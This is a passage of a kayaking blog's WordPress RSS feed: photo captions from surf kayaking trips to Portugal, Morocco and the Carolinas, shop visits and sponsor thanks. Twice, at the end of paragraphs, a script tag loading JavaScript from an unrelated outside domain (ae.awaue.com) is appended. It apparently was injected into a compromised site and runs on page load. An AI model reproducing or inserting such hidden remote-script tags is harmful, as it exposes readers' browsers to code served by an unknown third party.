<div id="attachment_755" class="wp-caption alignnone" style="width: 744px"><img class="size-full wp-image-755" title="passport" src="http://effort.tv/wp-content/uploads/2009/12/passport.jpg" alt="Thanks to Astral Buoyancy for helping me so much with my surf bag and for my Willis PFD, thanks to IR for my Shorty Competition Drydeck, and thanks to Shred Ready for my Full-Cut Standard helmet." width="734" height="521" /><p class="wp-caption-text">* Thanks to Astral Buoyancy for helping customize my surf kayak bag and for my Willis PFD * Thanks to IR for my Shorty Competition Drydeck * Thanks to Shred Ready for my Full-Cut Standard helmet * These companies make all my kayaking trips far more comfortable and successful *</p></div>
<p>We did shoot some video too&#8230;<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
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		<title>Where does time go?</title>
		<link>http://effort.tv/2009/09/where-does-time-go/</link>
		<comments>http://effort.tv/2009/09/where-does-time-go/#comments</comments>
		<pubDate>Fri, 25 Sep 2009 17:35:59 +0000</pubDate>
		<dc:creator>admin</dc:creator>
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		<guid isPermaLink="false">http://effort.tv/?p=557</guid>
		<description><![CDATA[I haven&#8217;t had much time for blogging this year so this one is gonna be long.  Honestly I still don&#8217;t have time to blog but there were a whole load of photos I&#8217;ve been wanting to put up here.  This post really doesn&#8217;t even cover all the things I want to journalize, but it makes [...]]]></description>
			<content:encoded><![CDATA[<div id="attachment_568" class="wp-caption alignnone" style="width: 650px"><img class="size-full wp-image-568" title="homebellaimg_7098" src="http://effort.tv/wp-content/uploads/2009/09/homebellaimg_7098.jpg" alt="Sugar Grove NC.  Bella is my brother-in-law's dog.  She loves balls." width="640" height="480" /><p class="wp-caption-text">Ball lover in Sugar Grove NC.  My brother-in-law&#39;s dawgy, Bella, snaps a tennis ball like a hungry hippo.</p></div>
<p>I haven&#8217;t had much time for blogging this year so this one is gonna be long.  Honestly I still don&#8217;t have time to blog but there were a whole load of photos I&#8217;ve been wanting to put up here.  This post really doesn&#8217;t even cover all the things I want to journalize, but it makes a few notes about my travels and experiences through June-Sept.  Time does seem to fly.</p>
<div id="attachment_564" class="wp-caption alignnone" style="width: 829px"><img class="size-large wp-image-564 " title="green_july20img_6114" src="http://effort.tv/wp-content/uploads/2009/09/green_july20img_6114-1024x768.jpg" alt="June is the last time I spent any significant time paddling on rivers.  This was me at Sunshine on the Green.  I paddled with my good friend Jason McClure." width="819" height="614" /><p class="wp-caption-text">June was the last time I spent any significant time paddling on rivers.  This was me paddling a rapid on the Green River Narrows near Hendersonville NC.  I paddled with my good friend Jason McClure who took this photo.</p></div>
<div id="attachment_595" class="wp-caption alignnone" style="width: 778px"><img class="size-large wp-image-595" title="greenwatermcclurimg_61051" src="http://effort.tv/wp-content/uploads/2009/09/greenwatermcclurimg_61051-768x1024.jpg" alt="Jason McClure waits for me below a rapid on the Green River Narrows near Hendersonville NC." width="768" height="1024" /><p class="wp-caption-text">Water droplets freeze as Jason McClure waits for me below a rapid on the Green River Narrows near Hendersonville NC.</p></div>
<div id="attachment_593" class="wp-caption alignnone" style="width: 829px"><img class="size-large wp-image-593 " title="green_treeimg_61091" src="http://effort.tv/wp-content/uploads/2009/09/green_treeimg_61091-1024x768.jpg" alt="We saw Stephen Hughes, Nate Elliott and Chris Roberts doing some tree removal that very day." width="819" height="614" /><p class="wp-caption-text">We saw Stephen Hughes, Nate Elliott and Chris Roberts doing some tree removal that very day.</p></div>
<div id="attachment_594" class="wp-caption alignnone" style="width: 778px"><img class="size-large wp-image-594" title="greentreeimg_61171" src="http://effort.tv/wp-content/uploads/2009/09/greentreeimg_61171-768x1024.jpg" alt="Chris Roberts repacks his throw rope below a tree-free slot.  Thanks to the noble and safety-conscious efforts of these guys." width="768" height="1024" /><p class="wp-caption-text">Chris Roberts repacks his throw rope below a now, tree-free slot.  Thanks to the safety-conscious efforts of these guys.</p></div>
<div id="attachment_563" class="wp-caption alignnone" style="width: 829px"><img class="size-large wp-image-563 " title="gap_annamariaimg_5998" src="http://effort.tv/wp-content/uploads/2009/09/gap_annamariaimg_5998-1024x768.jpg" alt="This spring I also spent a significant amount of time paddling with Anna Levesque of http://WaterGirlsAtPlay.com filming her new women's kayak instructional video.  Here, she and Maria Noakes are pictured on the Green River Narrows near Hendersonville NC." width="819" height="614" /><p class="wp-caption-text">I have also spent a significant amount of time paddling with Anna Levesque of http://WaterGirlsAtPlay.com filming her new women&#39;s kayak instructional video.  Here, she and Maria Noakes are pictured on the Green River Narrows near Hendersonville NC.</p></div>
<div id="attachment_596" class="wp-caption alignnone" style="width: 829px"><img class="size-large wp-image-596 " title="interferencemarqueep7090009" src="http://effort.tv/wp-content/uploads/2009/09/interferencemarqueep7090009-1024x768.jpg" alt="To raise money for our trip to compete in the World Surf Kayak Championships in Portugal, Joey Hall premiered his new Kayak, Surf, Travel Film, INTERFERENCE, at the Asheville Pizza &amp; Brewing Co.  We had around 80 people turn out for the showing." width="819" height="614" /><p class="wp-caption-text">To raise money for our trip to compete in the World Surf Kayak Championships in Portugal, Joey Hall premiered his new Kayak, Surf, Travel Film, INTERFERENCE, at the Asheville Pizza &amp; Brewing Co.  We had around 80 people turn out for the showing.</p></div>
<div id="attachment_581" class="wp-caption alignnone" style="width: 650px"><img class="size-full wp-image-581" title="portugal_picture0002" src="http://effort.tv/wp-content/uploads/2009/09/portugal_picture0002.jpg" alt="We arrived in Libson (Lisboa) Portugal in late July and drove to Santa Cruz where the Ocean Spirit Festival was being held." width="640" height="480" /><p class="wp-caption-text">We arrived in Libson (Lisboa) Portugal in late July and drove to Santa Cruz where the Ocean Spirit Festival was being held.</p></div>
<div id="attachment_580" class="wp-caption alignnone" style="width: 650px"><img class="size-full wp-image-580" title="portugal_picture0001" src="http://effort.tv/wp-content/uploads/2009/09/portugal_picture0001.jpg" alt="Here is Joey looking totally thrilled and jet lagged after ten hours of air travel." width="640" height="480" /><p class="wp-caption-text">Here is Joey looking totally thrilled after ten hours of air travel.</p></div>
<div id="attachment_582" class="wp-caption alignnone" style="width: 650px"><img class="size-full wp-image-582" title="portugalimg_6690" src="http://effort.tv/wp-content/uploads/2009/09/portugalimg_6690.jpg" alt="The macro scene in Portugal was really interesting." width="640" height="480" /><p class="wp-caption-text">The macro scene in Portugal was really interesting and beautiful.</p></div>
<div id="attachment_583" class="wp-caption alignnone" style="width: 650px"><img class="size-full wp-image-583" title="portugalimg_6868" src="http://effort.tv/wp-content/uploads/2009/09/portugalimg_6868.jpg" alt="This young man named David Speller from Jersey and the Channel Islands won his fifth consecutive World Championship title." width="640" height="480" /><p class="wp-caption-text">This young man named David Speller from Jersey and the Channel Islands won his fifth consecutive World Championship title.</p></div>
<div id="attachment_578" class="wp-caption alignnone" style="width: 650px"><img class="size-full wp-image-578" title="ncwelcome" src="http://effort.tv/wp-content/uploads/2009/09/ncwelcome.jpg" alt="It is always so nice to come home to North Carolina..." width="640" height="480" /><p class="wp-caption-text">It is always so nice to come home...</p></div>
<div id="attachment_577" class="wp-caption alignnone" style="width: 490px"><img class="size-full wp-image-577" title="nc_canoekayak" src="http://effort.tv/wp-content/uploads/2009/09/nc_canoekayak.jpg" alt="... where I am pleased to see they have canoeing and kayaking.  Or at least they had it in the 80s." width="480" height="640" /><p class="wp-caption-text">... where I am pleased to see they have canoeing and kayaking.  Or at least they had it in the 80s when they took this photo.  Wilson Creek perhaps?</p></div>
<div id="attachment_571" class="wp-caption alignnone" style="width: 650px"><img class="size-full wp-image-571" title="hometurkimg_7140" src="http://effort.tv/wp-content/uploads/2009/09/hometurkimg_7140.jpg" alt="Common sights and sounds seem so much more rich and vibrant when you've been gone for a while." width="640" height="480" /><p class="wp-caption-text">Common sights and sounds seem so much more rich and vibrant when you&#39;ve been gone for a while.</p></div>
<div id="attachment_570" class="wp-caption alignnone" style="width: 650px"><img class="size-full wp-image-570" title="homemushimg_7340" src="http://effort.tv/wp-content/uploads/2009/09/homemushimg_7340.jpg" alt="Summer's end is near when I start seeing these fellas." width="640" height="480" /><p class="wp-caption-text">Summer&#39;s end is near when I start seeing these fellas.</p></div>
<div id="attachment_569" class="wp-caption alignnone" style="width: 650px"><img class="size-full wp-image-569" title="homecraggyimg_7229" src="http://effort.tv/wp-content/uploads/2009/09/homecraggyimg_7229.jpg" alt="My best buddy and I took some long walks on the beatiful blue ridges of North Carolina." width="640" height="480" /><p class="wp-caption-text">My best buddy and I took some long walks on the beautiful blue ridges of North Carolina.</p></div>
<div id="attachment_560" class="wp-caption alignnone" style="width: 650px"><img class="size-full wp-image-560" title="crystaljoey_takeoff_img_7256" src="http://effort.tv/wp-content/uploads/2009/09/crystaljoey_takeoff_img_7256.jpg" alt="In late August hurricane Bill arrived so I had to make an emergency trip back to the coast.  Joey and I had a few nice surfing sessions at Wrightsville Beach." width="640" height="480" /><p class="wp-caption-text">In late August hurricane Bill arrived so I had to make an emergency trip back to the NC coast.  Joey and I had a few nice surfing sessions at Wrightsville Beach.</p></div>
<div id="attachment_558" class="wp-caption alignnone" style="width: 650px"><img class="size-full wp-image-558" title="crystal_boarder_img_7270" src="http://effort.tv/wp-content/uploads/2009/09/crystal_boarder_img_7270.jpg" alt="Crystal Pier at Wrightsville Beach.  A board surfer crouches to make a small wave seem bigger." width="640" height="480" /><p class="wp-caption-text">Crystal Pier at Wrightsville Beach NC:  A board surfer turns and burns down a small but steep wave.</p></div>
<div id="attachment_559" class="wp-caption alignnone" style="width: 650px"><img class="size-full wp-image-559" title="crystalflower_img_7285" src="http://effort.tv/wp-content/uploads/2009/09/crystalflower_img_7285.jpg" alt="I am the flower whisperer.  (Chris Gallaway thinks he's the flower whisperer but it's really me.)" width="640" height="480" /><p class="wp-caption-text">I am the flower whisperer.  (Chris Gallaway thinks he&#39;s the flower whisperer but it&#39;s really me.)</p></div>
<div id="attachment_561" class="wp-caption alignnone" style="width: 650px"><img class="size-full wp-image-561" title="drew_huricanbill_img_0668" src="http://effort.tv/wp-content/uploads/2009/09/drew_huricanbill_img_0668.jpg" alt="While I arrived a day too late for the good swell from Hurricane Bill, we still had waist to chest high surf.  Though in New Jersey my good friend Drew Hayes caught up with Bill for some beautiful, overhead glassy conditions." width="640" height="480" /><p class="wp-caption-text">While I arrived a day too late for the big swell from Hurricane Bill, we still had waist to chest high surf.  Though in New Jersey my good friend Drew Hayes caught up with Bill for some beautiful, overhead, glassy conditions.  That&#39;s not Drew on this wave.  He took the photo.</p></div>
<div id="attachment_562" class="wp-caption alignnone" style="width: 650px"><img class="size-full wp-image-562" title="drew_zorak_img_0680" src="http://effort.tv/wp-content/uploads/2009/09/drew_zorak_img_0680.jpg" alt="Drew also became acquainted with Zorak.  See Spaceghost Coast to Coast for reference." width="640" height="480" /><p class="wp-caption-text">Drew also became acquainted with Zorak.  See Spaceghost Coast to Coast for reference.</p></div>
<div id="attachment_592" class="wp-caption alignnone" style="width: 490px"><img class="size-full wp-image-592" title="manhattanbagel_img_72981" src="http://effort.tv/wp-content/uploads/2009/09/manhattanbagel_img_72981.jpg" alt="Mark serves the best bagels in Wrightsville Beach.  A morning surf session is never complete without a stop at Manhattan Bagels." width="480" height="640" /><p class="wp-caption-text">Mark serves the best bagels in Wrightsville Beach.  A morning surf session is never complete without a stop at Manhattan Bagel.</p></div>
<div id="attachment_572" class="wp-caption alignnone" style="width: 490px"><img class="size-full wp-image-572" title="hookline_img_7308" src="http://effort.tv/wp-content/uploads/2009/09/hookline_img_7308.jpg" alt="On my way out I stopped into the local kayak shop in Wilmington NC, called HOOK, LINE &amp; PADDLE.  Ryan is one of the owners and long-time skater.  Here he is showing off his very valuable and original Gator and Caballero boards.  And he still skates them!" width="480" height="640" /><p class="wp-caption-text">On my way out I stopped into the local kayak shop in Wilmington NC, called HOOK, LINE &amp; PADDLE.  Ryan is one of the owners and long-time skater.  Here he is showing off his original Gator and Caballero boards, and he still skates them!</p></div>
<div id="attachment_579" class="wp-caption alignnone" style="width: 650px"><img class="size-full wp-image-579" title="ninjassprayimg_7219" src="http://effort.tv/wp-content/uploads/2009/09/ninjassprayimg_7219.jpg" alt="When I got back home I had a chance to compare my new surf kayak designs to the old one.  My friend Ray Cotton and I designed the Spray (left) in 2002.  Three prototypes and seven years later Drew Hayes, Ray and I designed two new boats based on the original design.  Ninja 6'8&quot; (middle) and Ninja 7'6&quot; (right).  Both new boats plus another called the Sword are due out on the market soon." width="640" height="480" /><p class="wp-caption-text">When I got back home I had a chance to compare my new surf kayak designs to the old one.  My friend Ray Cotton and I designed and shaped the Spray (left) in 2002. Seven years and three prototypes later Drew Hayes, Ray and I designed and shaped two new boats based on the original design with the help of our friends at Riot.  Ninja 6&#39;8&quot; (middle) and Ninja 7&#39;6&quot; (right).  Both new boats, plus another called the Sword, are due out on the market soon...</p></div>
<div id="attachment_575" class="wp-caption alignnone" style="width: 650px"><img class="size-full wp-image-575" title="masoncampimg_7477" src="http://effort.tv/wp-content/uploads/2009/09/masoncampimg_7477.jpg" alt="Back at Wrightsville Beach we did our first family paddling/camping trip over at Masonboro Island." width="640" height="480" /><p class="wp-caption-text">Back at Wrightsville Beach NC we did our first family paddling/camping trip over at Masonboro Island.</p></div>
<div id="attachment_576" class="wp-caption alignnone" style="width: 650px"><img class="size-full wp-image-576" title="masonfoximg_7462" src="http://effort.tv/wp-content/uploads/2009/09/masonfoximg_7462.jpg" alt="A curious stranger visited us several times throughout the night." width="640" height="480" /><p class="wp-caption-text">A curious stranger visited us several times throughout the night.</p></div>
<div id="attachment_573" class="wp-caption alignnone" style="width: 650px"><img class="size-full wp-image-573" title="hooklinepaddlechrisimg_7557" src="http://effort.tv/wp-content/uploads/2009/09/hooklinepaddlechrisimg_7557.jpg" alt="Chris from Hook LIne &amp; Paddle looks for a good spot to drop a crab trap.  He and Ryan took me out for my first stand up paddleboard fishing trip." width="640" height="480" /><p class="wp-caption-text">Chris from Hook Line &amp; Paddle looks for a good spot to drop a crab trap off of his Native Watercraft.  He and Ryan took me out for my first stand up paddleboard fishing trip.  Quite fun, and I&#39;m totally sold on the SUP as a fishing craft.</p></div>
<div id="attachment_585" class="wp-caption alignnone" style="width: 650px"><img class="size-full wp-image-585" title="potomacjimimg_7646" src="http://effort.tv/wp-content/uploads/2009/09/potomacjimimg_7646.jpg" alt="My next stop included visits to Potomac Paddlesports and Valley Mill Kayak Shop in Washington DC followed by a quick run on Great Falls of the Potomac.  Here is Jim Buley dropping into Horseshoe Rapid." width="640" height="480" /><p class="wp-caption-text">My next stop included visits to Potomac Paddlesports and Valley Mill Kayak Shop in Washington DC followed by a quick run on Great Falls of the Potomac.  Here is Jim Buley dropping into Horseshoe Rapid.</p></div>
<div id="attachment_584" class="wp-caption alignnone" style="width: 650px"><img class="size-full wp-image-584" title="potomaccolinimg_7644" src="http://effort.tv/wp-content/uploads/2009/09/potomaccolinimg_7644.jpg" alt="Colin Kemp peels of the flake at Horseshoe, Maryland side of Great Falls Potomac River." width="640" height="480" /><p class="wp-caption-text">Colin Kemp peels of the flake at Horseshoe in his Jackson MonStar: Maryland side of Great Falls Potomac River.</p></div>
<div id="attachment_588" class="wp-caption alignnone" style="width: 650px"><img class="size-full wp-image-588" title="seagirtimg_7654" src="http://effort.tv/wp-content/uploads/2009/09/seagirtimg_7654.jpg" alt="Next I had the very specail treat of spending a day at Sea Girt New Jersey with my good pal Drew Hayes.  The surf was no less than superb." width="640" height="480" /><p class="wp-caption-text">Next I had the very special treat of spending a day at Sea Girt New Jersey with my good pal Drew Hayes.  The surf was no less than superb and the fishermen were pulling the Bluefish out of the water that day.</p></div>
<div id="attachment_586" class="wp-caption alignnone" style="width: 557px"><img class="size-full wp-image-586" title="seagirtdrewspeimg_7678" src="http://effort.tv/wp-content/uploads/2009/09/seagirtdrewspeimg_7678.jpg" alt="Drew left, me right." width="547" height="480" /><p class="wp-caption-text">Drew left, me right.  Drew wrong, me right.</p></div>
<div id="attachment_587" class="wp-caption alignnone" style="width: 650px"><img class="size-full wp-image-587" title="seagirtdrewswordimg_7697" src="http://effort.tv/wp-content/uploads/2009/09/seagirtdrewswordimg_7697.jpg" alt="Drew finally got to taste the fruits of his labor.  Endless hours of sanding on the Sword Surf Kayak plug and finally he got to try the boat in excellent conditions." width="640" height="480" /><p class="wp-caption-text">Drew got to taste the fruits of his labor.  Endless hours of sanding on the Sword Surf Kayak plug almost two years ago and finally he got to try the boat in excellent conditions.</p></div>
<div id="attachment_590" class="wp-caption alignnone" style="width: 650px"><img class="size-full wp-image-590" title="seagirtsurftacoimg_7700" src="http://effort.tv/wp-content/uploads/2009/09/seagirtsurftacoimg_7700.jpg" alt="Surf Taco isn't far from the break at Sea Girt." width="640" height="480" /><p class="wp-caption-text">Surf Taco isn&#39;t far from the break at Sea Girt.  Good taco make boy into manimal.</p></div>
<div id="attachment_606" class="wp-caption alignnone" style="width: 650px"><img class="size-full wp-image-606" title="appomattoxtomimg_7714" src="http://effort.tv/wp-content/uploads/2009/09/appomattoxtomimg_7714.jpg" alt="Next stop, Farmville Virginia, Appomattox River Company.  Tom here sells more boats than anyone I know.  He works for Bob Taylor who has owned and operated ARC for over 30 years." width="640" height="480" /><p class="wp-caption-text">Next stop, Farmville Virginia, Appomattox River Company.  Pictured is Tom Detrick who sells more boats than anyone I know.  He works for Bob Taylor who has owned and operated ARC for over 30 years.  There is a lot of history in this place.</p></div>
<div id="attachment_598" class="wp-caption alignnone" style="width: 650px"><img class="size-full wp-image-598" title="appomattox_skateboard0919091318" src="http://effort.tv/wp-content/uploads/2009/09/appomattox_skateboard0919091318.jpg" alt="I found this treasure of a &quot;Skate Board&quot; (says it right on the front) helmet in the Appomattox River Co warehouse." width="640" height="480" /><p class="wp-caption-text">I found this precious gem in the Appomattox River Co warehouse, right beside the archived 1989 Extrasport PFDs.  Don&#39;t worry, they sell 2009 Astral PFDs too.</p></div>
<div id="attachment_609" class="wp-caption alignnone" style="width: 650px"><img class="size-full wp-image-609" title="mushroomsimg_7719" src="http://effort.tv/wp-content/uploads/2009/09/mushroomsimg_7719.jpg" alt="Back home for one day then back on the road.  I feel like I have to take pictures of everything these days.  The digital camera plagues me.  Mushrooms, rocks, bugs, flowers, animals, food, people.  I waste so much time trying to compose a good shot, even with my camera phone, with which I took several of these shots." width="640" height="480" /><p class="wp-caption-text">Back home for one day then back on the road.  I feel like I have to take pictures of everything these days.  The digital camera plagues me.  Mushrooms, rocks, bugs, flowers, animals, food, people.  I waste so much time trying to compose a good shot, even with my camera phone, with which I took several of these shots.</p></div>
<div id="attachment_608" class="wp-caption alignnone" style="width: 650px"><img class="size-full wp-image-608" title="highergroundshelbyimg_7721" src="http://effort.tv/wp-content/uploads/2009/09/highergroundshelbyimg_7721.jpg" alt="Further South, I visited a new IR dealer, Higher Ground in Beaufort SC.  These guys are a full service, technical outdoor shop, and very pleasant to do business with.  Shop owner Shelby Bishop stands with a rack of Astral PFDs out front of the shop." width="640" height="480" /><p class="wp-caption-text">Further South, I visited a new IR dealer, Higher Ground in Beaufort SC.  These guys are a full service, technical outdoor shop, and very pleasant to do business with.  Shop owner Shelby Bishop stands with a rack of Astral PFDs out front of the shop.</p></div>
<div id="attachment_613" class="wp-caption alignnone" style="width: 650px"><img class="size-full wp-image-613" title="seakayakcarolinaimg_7724" src="http://effort.tv/wp-content/uploads/2009/09/seakayakcarolinaimg_7724.jpg" alt="From Beaufort I migrated back toward the North to Sea Kayak Carolina close to Folly Beach SC.  Without question, these guys are one of the most full service, guru, absolutely core, sea kayak shops out there.  Steve, William and Scott stand proudly in their boat room." width="640" height="480" /><p class="wp-caption-text">From Beaufort I migrated back toward the North to Sea Kayak Carolina close to Folly Beach SC.  Without question, these guys are one of the most full service, guru, absolutely core, sea kayak shops out there.  Steve, William and Scott stand proudly in their boat room.</p></div>
<div id="attachment_611" class="wp-caption alignnone" style="width: 650px"><img class="size-full wp-image-611" title="russbertimg_7763" src="http://effort.tv/wp-content/uploads/2009/09/russbertimg_7763.jpg" alt="No Folly Beach visit is complete without visiting and surfing with the Folly Kayak Man himself, Russ Buskirk.  Here sits Russ and Bert in their workshop.  Russ is a multifaceted artist, currenly specializing in pastel paintings." width="640" height="480" /><p class="wp-caption-text">No Folly Beach visit is complete without visiting and surfing with the Folly Kayak Man himself, Russ Buskirk.  Here sit Russ and Bert in their workshop.  Russ is a multifaceted artist, currently specializing in antique furniture restoration and pastel paintings.</p></div>
<div id="attachment_612" class="wp-caption alignnone" style="width: 650px"><img class="size-full wp-image-612" title="russwashoutimg_7740" src="http://effort.tv/wp-content/uploads/2009/09/russwashoutimg_7740.jpg" alt="Russ also just recently placed 3rd in the World Surf Kayak Championships in Portugal in the Grand Master's Division.  Pictured here, Russ makes the most of a 2 foot day at the Folly Beach Washout." width="640" height="480" /><p class="wp-caption-text">Russ also just recently placed 3rd in the World Surf Kayak Championships in Portugal in the Grand Master&#39;s Division.  Pictured here, Russ makes the most of a 2 foot day at the Folly Beach Washout.</p></div>
<div id="attachment_607" class="wp-caption alignnone" style="width: 650px"><img class="size-full wp-image-607" title="goldenorbimg_7732" src="http://effort.tv/wp-content/uploads/2009/09/goldenorbimg_7732.jpg" alt="Golden Orb spiders are everywhere on the Carolina coast.  Ths healthy female spun her web on Russ' front porch." width="640" height="480" /><p class="wp-caption-text">Golden Orb spiders are everywhere on the Carolina coast.  Ths healthy female spun her web on Russ&#39; front porch.</p></div>
<div id="attachment_610" class="wp-caption alignnone" style="width: 650px"><img class="size-full wp-image-610" title="riverrunnerjesseimg_7772" src="http://effort.tv/wp-content/uploads/2009/09/riverrunnerjesseimg_7772.jpg" alt="Last stop on the way home:  River Runner Outdoor Center sits front and center on Gervais Street in Columbia SC.  Jesse Koch (pronounced Cook) manages the shop and held the sidewalk down for me while I took this photo.  I haven't been in there in a while so it was nice to make a quick visit." width="640" height="480" /><p class="wp-caption-text">Last stop on the way home:  River Runner Outdoor Center sits front and center on Gervais Street in Columbia SC.  Jesse Koch (pronounced Cook) manages the shop and held the sidewalk down for me while I took this photo. </p></div>
<div id="attachment_591" class="wp-caption alignnone" style="width: 650px"><img class="size-full wp-image-591" title="spedrivingimg_7704" src="http://effort.tv/wp-content/uploads/2009/09/spedrivingimg_7704.jpg" alt="Just to test myself I tried to hold this facial expression for three straight hours in the car.  What can I say, I'm in training to be a smartass, and I'm passing without any problem." width="640" height="480" /><p class="wp-caption-text">Just to test myself I tried to hold this facial expression for three straight hours in the car.  What can I say, I&#39;m in training to be a smartass, and I&#39;m passing without any problem.</p></div>
<p>Home again for one day then I&#8217;ll be at NOC for their annual Guest Appreciate Festival this weekend.  This is the typical Fall schedule of a paddlesports sales rep, so get used to it and stop giving me so much grief.</p>
<p>Sincerely,<br />
Spencer Cooke, Effort Inc<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
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		<slash:comments>8</slash:comments>
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		<item>
		<title>Rapid Transit Video #11 &#8211; Morocco Surf Kayaking Adventure</title>
		<link>http://effort.tv/2008/05/rapid-transit-video-11-morocco-surf-kayaking-adventure/</link>
		<comments>http://effort.tv/2008/05/rapid-transit-video-11-morocco-surf-kayaking-adventure/#comments</comments>
		<pubDate>Sat, 03 May 2008 16:20:00 +0000</pubDate>
		<dc:creator>effortincorporated</dc:creator>
				<category><![CDATA[Paddling]]></category>
		<category><![CDATA[immesouane]]></category>
		<category><![CDATA[morocco]]></category>
		<category><![CDATA[paddling]]></category>
		<category><![CDATA[sidi kauki]]></category>
		<category><![CDATA[Surf]]></category>
		<category><![CDATA[surfing]]></category>
		<category><![CDATA[trafadna]]></category>
		<category><![CDATA[waves]]></category>

		<guid isPermaLink="false">http://effortinc.wordpress.com/2008/05/03/rapid-transit-video-11-morocco-surf-kayaking-adventure/</guid>
		<description><![CDATA[Click HERE to see the video or download the podcast. &#8211; photos by Joey Hall, Yellowboy and Effort Inc.












































This was incredible kayaking trip for our group and we hope you enjoy what we have shared.
Later,
Spencer Cooke, Effort Inc.
]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.rapidtransitvideo.com/blog/?p=53">Click HERE</a> to see the video or download the podcast. &#8211; photos by Joey Hall, Yellowboy and Effort Inc.</p>
<p><img class="alignnone size-large wp-image-762" title="morocco_journal3" src="http://effort.tv/wp-content/uploads/2008/05/morocco_journal3-724x1024.jpg" alt="morocco_journal3" width="724" height="1024" /></p>
<p><img class="alignnone size-full wp-image-760" title="morocco_journal1" src="http://effort.tv/wp-content/uploads/2008/05/morocco_journal1.jpg" alt="morocco_journal1" width="735" height="600" /></p>
<p><img class="alignnone size-full wp-image-761" title="morocco_journal2" src="http://effort.tv/wp-content/uploads/2008/05/morocco_journal2.jpg" alt="morocco_journal2" width="785" height="600" /></p>
<p><img class="alignnone size-large wp-image-763" title="morocco_journal5" src="http://effort.tv/wp-content/uploads/2008/05/morocco_journal5-716x1024.jpg" alt="morocco_journal5" width="716" height="1024" /></p>
<p><img class="alignnone size-large wp-image-765" title="morocco_journal6" src="http://effort.tv/wp-content/uploads/2008/05/morocco_journal6-757x1024.jpg" alt="morocco_journal6" width="757" height="1024" /></p>
<p><img class="alignnone size-large wp-image-766" title="morocco_journal7" src="http://effort.tv/wp-content/uploads/2008/05/morocco_journal7-731x1024.jpg" alt="morocco_journal7" width="731" height="1024" /></p>
<p><img class="alignnone size-large wp-image-767" title="morocco_journal8" src="http://effort.tv/wp-content/uploads/2008/05/morocco_journal8-731x1024.jpg" alt="morocco_journal8" width="731" height="1024" /></p>
<p><img class="alignnone size-large wp-image-768" title="morocco_journal9" src="http://effort.tv/wp-content/uploads/2008/05/morocco_journal9-609x1024.jpg" alt="morocco_journal9" width="609" height="1024" /></p>
<p><img class="alignnone size-large wp-image-769" title="morocco_journal10" src="http://effort.tv/wp-content/uploads/2008/05/morocco_journal10-731x1024.jpg" alt="morocco_journal10" width="731" height="1024" /></p>
<p><img class="alignnone size-large wp-image-771" title="morocco_journal11" src="http://effort.tv/wp-content/uploads/2008/05/morocco_journal11-711x1024.jpg" alt="morocco_journal11" width="711" height="1024" /></p>
<p><img class="alignnone size-large wp-image-772" title="morocco_journal12" src="http://effort.tv/wp-content/uploads/2008/05/morocco_journal12-731x1024.jpg" alt="morocco_journal12" width="731" height="1024" /></p>
<p><img class="alignnone size-large wp-image-774" title="morocco_journal13" src="http://effort.tv/wp-content/uploads/2008/05/morocco_journal13-716x1024.jpg" alt="morocco_journal13" width="716" height="1024" /></p>
<p><img class="alignnone size-large wp-image-775" title="morocco_journal14" src="http://effort.tv/wp-content/uploads/2008/05/morocco_journal14-731x1024.jpg" alt="morocco_journal14" width="731" height="1024" /></p>
<p><img class="alignnone size-large wp-image-776" title="morocco_journal15" src="http://effort.tv/wp-content/uploads/2008/05/morocco_journal15-731x1024.jpg" alt="morocco_journal15" width="731" height="1024" /></p>
<p><img class="alignnone size-large wp-image-778" title="morocco_journal16" src="http://effort.tv/wp-content/uploads/2008/05/morocco_journal16-731x1024.jpg" alt="morocco_journal16" width="731" height="1024" /></p>
<p><img class="alignnone size-large wp-image-779" title="morocco_journal17" src="http://effort.tv/wp-content/uploads/2008/05/morocco_journal17-753x1024.jpg" alt="morocco_journal17" width="753" height="1024" /></p>
<p><img class="alignnone size-large wp-image-780" title="morocco_journal18" src="http://effort.tv/wp-content/uploads/2008/05/morocco_journal18-731x1024.jpg" alt="morocco_journal18" width="731" height="1024" /></p>
<p><img class="alignnone size-large wp-image-781" title="morocco_journal19" src="http://effort.tv/wp-content/uploads/2008/05/morocco_journal19-731x1024.jpg" alt="morocco_journal19" width="731" height="1024" /></p>
<p><img class="alignnone size-large wp-image-782" title="morocco_journal20" src="http://effort.tv/wp-content/uploads/2008/05/morocco_journal20-731x1024.jpg" alt="morocco_journal20" width="731" height="1024" /></p>
<p><img class="alignnone size-large wp-image-783" title="morocco_journal21" src="http://effort.tv/wp-content/uploads/2008/05/morocco_journal21-731x1024.jpg" alt="morocco_journal21" width="731" height="1024" /></p>
<p><img class="alignnone size-large wp-image-784" title="morocco_journal22" src="http://effort.tv/wp-content/uploads/2008/05/morocco_journal22-731x1024.jpg" alt="morocco_journal22" width="731" height="1024" /></p>
<p><img class="alignnone size-large wp-image-785" title="morocco_journal23" src="http://effort.tv/wp-content/uploads/2008/05/morocco_journal23-746x1024.jpg" alt="morocco_journal23" width="746" height="1024" /></p>
<p><img class="alignnone size-large wp-image-787" title="morocco_journal24" src="http://effort.tv/wp-content/uploads/2008/05/morocco_journal24-731x1024.jpg" alt="morocco_journal24" width="731" height="1024" /></p>
<p><img class="alignnone size-large wp-image-788" title="morocco_journal25" src="http://effort.tv/wp-content/uploads/2008/05/morocco_journal25-731x1024.jpg" alt="morocco_journal25" width="731" height="1024" /></p>
<p><img class="alignnone size-large wp-image-789" title="morocco_journal26" src="http://effort.tv/wp-content/uploads/2008/05/morocco_journal26-731x1024.jpg" alt="morocco_journal26" width="731" height="1024" /></p>
<p><img class="alignnone size-large wp-image-790" title="morocco_journal27" src="http://effort.tv/wp-content/uploads/2008/05/morocco_journal27-731x1024.jpg" alt="morocco_journal27" width="731" height="1024" /></p>
<p><img class="alignnone size-large wp-image-791" title="morocco_journal28" src="http://effort.tv/wp-content/uploads/2008/05/morocco_journal28-731x1024.jpg" alt="morocco_journal28" width="731" height="1024" /></p>
<p><img class="alignnone size-large wp-image-792" title="morocco_journal29" src="http://effort.tv/wp-content/uploads/2008/05/morocco_journal29-731x1024.jpg" alt="morocco_journal29" width="731" height="1024" /></p>
<p><img class="alignnone size-large wp-image-793" title="morocco_journal30" src="http://effort.tv/wp-content/uploads/2008/05/morocco_journal30-731x1024.jpg" alt="morocco_journal30" width="731" height="1024" /></p>
<p><img class="alignnone size-large wp-image-794" title="morocco_journal31" src="http://effort.tv/wp-content/uploads/2008/05/morocco_journal31-711x1024.jpg" alt="morocco_journal31" width="711" height="1024" /></p>
